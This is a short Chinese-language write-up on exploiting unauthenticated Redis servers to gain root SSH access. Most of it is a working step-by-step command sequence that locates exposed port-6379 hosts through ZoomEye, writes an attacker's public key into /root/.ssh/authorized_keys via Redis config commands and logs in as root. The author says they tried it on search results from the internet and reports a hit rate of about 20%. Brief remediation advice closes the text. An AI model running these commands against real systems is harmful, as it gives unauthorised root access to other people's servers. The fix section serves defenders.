Redis 未授权访问配合 SSH key 文件利用
通过zoomeye查找开放6379的IP。
http://www.zoomeye.org/search?q=port%3A6379
$ ssh-keygen –t rsa
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
$ 192.168.1.11:6379> exit
$ ssh –i id_rsa root@192.168.1.11
利用条件
- 首先要确定目标开放了ssh服务
- /root/.ssh/或其他的目录有权限访问和写入。
危害
感觉redis这个未授权访问的问题应该已经说了很久了,可以很多服务器还在跑着未授权的redis。
最直接的危害就是数据库的内容了,都可以直接查看。其次大概是可以泄露一些服务器的信息,例如redis的info命令。不过据说好像可以代码执行,因为redis可以执行lua脚本,这样一来就可以借用lua完成一些事情了。
大概测试了一下,跑了zoomeye搜出来的几页结果,命中率大概有20%左右吧,可能更少一点,不过这样的命中率也不算低了。
修复
- 限制可以连接Redis服务器的IP,配置bind选项。
- 设置认证。
- 似乎可以把config命令重命名?不过我觉得这方法有点不太好了。